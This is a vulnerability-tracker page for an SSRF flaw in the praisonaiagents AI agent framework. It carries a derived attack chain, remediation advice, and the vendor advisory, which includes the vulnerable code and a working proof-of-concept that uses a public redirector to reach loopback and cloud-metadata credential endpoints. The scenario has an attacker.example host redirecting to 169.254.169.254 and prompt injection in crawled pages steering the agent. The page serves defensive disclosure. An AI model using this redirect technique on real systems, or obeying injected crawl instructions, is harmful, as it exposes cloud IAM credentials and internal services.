EUVD-2026-65493
GHSA-5r34-2g38-6569
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessControl agent crawl target via task instruction or prompt injection in fetched content
-
DeliverySupply public URL whose hostname resolves to a non-private IP (passes front-door check)
-
ExploitAttacker-controlled server issues HTTP 302 redirect to 169.254.169.254 or 127.0.0.1
-
Executionhttpx follows redirect without SSRF re-validation
-
PersistInternal resource body returned into agent context
-
ImpactIAM credentials or internal API data exposed to model, logs, and downstream tools
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The web_crawl tool must be registered in the agent - it is a standard exported tool included in default praisonaiagents deployments. The httpx crawl provider must be active, which is the automatic default when neither Tavily nor Crawl4AI are installed; a stock pip install praisonaiagents meets this condition. The environment variable ALLOW_LOCAL_CRAWL must not be set to true (its default state), which activates the initial front-door IP check whose redirect bypass is the load-bearing exploit path. The attacker must be able to influence the agent's crawl target: either by supplying a crafted task instruction directly to the agent, or by embedding a prompt injection payload in any content the agent has previously fetched. Exploitation does not require authentication to the agent process, network-layer access to internal services, or any non-default configuration change - only control over what URL the agent is directed to fetch. Exploitation is limited to contexts where the agent network can reach link-local (169.254.x.x) or loopback addresses, which is true of all default cloud VM deployments. |
| Impact | The NVD CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) accurately reflects the low-complexity, unauthenticated, network-reachable exploit path. No EPSS score was provided in the input data, and the vulnerability does not appear in the CISA KEV catalog at time of analysis - so active in-the-wild exploitation is unconfirmed. However, a working PoC using httpbin as a public redirector is embedded in the GitHub Security Advisory, which substantially lowers the exploitation bar. The practical blast radius exceeds what the CVSS C:H score alone implies: on cloud-hosted agents, leaked IAM credentials via 169.254.169.254 can escalate to full cloud account compromise. The attack is also composable with prompt injection - an attacker who can get the agent to crawl any attacker-controlled page can chain into SSRF without any direct access to the agent. The primary risk limiter is deployment footprint: praisonaiagents is a niche AI agent framework, not a universally deployed service. |
| Exploit ScenarioDerived | An attacker embeds a prompt injection payload in a webpage that a praisonaiagents-powered AI agent is already crawling, instructing the agent to fetch https://attacker.example/redirect - a public hostname that passes the initial IP blocklist. The attacker's server responds with HTTP 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>, and httpx transparently fetches the IAM credential document, which the web_crawl tool returns into the agent's context where it is visible to the model, logs, and downstream tools. The working PoC in GHSA-5r34-2g38-6569 demonstrates this using httpbin's public redirect endpoint, requiring no attacker-controlled server infrastructure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Server-Side Request Forgery in praisonaiagents (pip package, versions < 1.6.58) allows any attacker who can influence an AI agent's crawl target - via crafted task instructions or prompt injection embedded in previously crawled content - to exfiltrate cloud instance metadata (including IAM credentials), internal localhost services, and RFC1918 API endpoints. The web_crawl tool's SSRF protection validates only the initial URL's hostname IP, then invokes httpx with follow_redirects=True, allowing an attacker-controlled public URL to 302-redirect the agent to 169.254.169.254 or 127.0.0.1 without any re-validation. This is an incomplete fix for a prior SSRF class in the same component. A fully functional proof-of-concept is publicly documented in GHSA-5r34-2g38-6569, and no public exploit identified at time of analysis beyond the PoC; no CISA KEV listing is present.
RemediationAI
Upgrade praisonaiagents to version 1.6.58 or later via pip install --upgrade praisonaiagents. The patch (commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 at https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) disables httpx's built-in redirect following (follow_redirects=False) and introduces a _is_safe_crawl_url() helper that validates each redirect destination individually using socket.getaddrinfo() before issuing each hop. If immediate patching is not possible, block outbound access from the agent host to 169.254.169.254 and RFC1918 ranges at the network or cloud security-group level - this prevents credential exfiltration via IMDS but does not prevent access to localhost services. Additionally, enabling IMDSv2-only on AWS instances prevents unauthenticated metadata retrieval even if SSRF succeeds. Removing the web_crawl tool from agent registrations where crawl targets can be influenced by untrusted content is the most complete compensating control, though it disables the feature entirely. Do not rely on the ALLOW_LOCAL_CRAWL environment variable state as a mitigating control - the bypass operates through the redirect path regardless of that flag's default value.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerable component is web_crawl_tools.py in the praisonaiagents Python package (pkg:pip/praisonaiagents). At line 231, socket.gethostbyname() resolves the initial URL's hostname to a single IP and checks it against Python's ipaddress blocklist (is_loopback, is_private, is_link_local, is_multicast, is_unspecified). However, at line 142, httpx.Client is instantiated with follow_redirects=True, meaning httpx transparently follows any 301/302/303/307/308 responses from the initial host without invoking the blocklist again. CWE-918 (Server-Side Request Forgery) describes this exact architectural gap: URL validation at entry that does not propagate to all request execution paths. The httpx provider is the default crawl backend, automatically selected when Tavily and Crawl4AI are absent - which is the case on a stock pip install. The vulnerability is exploitable in any deployment that registers the web_crawl exported tool and has not set ALLOW_LOCAL_CRAWL=true, which is the default configuration.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable via HTTP with no authentication or special conditions; purely a confidentiality impact as redirect fetches only read internal resources; scope unchanged within the agent process boundary.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.
An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.
Details
- The agent is asked (or prompt-injected) to crawl
https://attacker.example/r, which the source accepts becauseattacker.exampleresolves to a public IP. - The attacker server responds 302 Location:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. _crawl_with_httpxfollows the redirect withfollow_redirects=True, fetches the IAM credential document, andweb_crawlreturns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.
The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts
Source (validates only the initial hostname)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
logger.warning(f"Rejected SSRF or private IP attempt: {u}")
continueSink (follows redirects with no re-validation)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142
import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
response.raise_for_status()
content = response.textPoC
Dependencies: pip install praisonaiagents==1.6.52 httpx
Preconditions:
- The agent has the
web_crawltool registered, which is a standard exported tool. - The default crawl provider
httpxis selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). ALLOW_LOCAL_CRAWLis not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.- The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl
SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
def log_message(self, *a): pass
s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"
control = web_crawl(internal)
# front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
{"url": internal, "status_code": "302"})
# public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")Impact
Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.
Executive ViewAI
praisonaiagents versions prior to 1.6.58 contain a Server-Side Request Forgery vulnerability allowing attackers to redirect AI agent web requests toward cloud credential stores and internal services, potentially exfiltrating AWS IAM credentials and enabling unauthorized infrastructure access. Organizations deploying this open-source library in production face credential compromise risk and potential lateral movement by threat actors.
Vendor-released patch: 1.6.58 or later
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Exploit-DB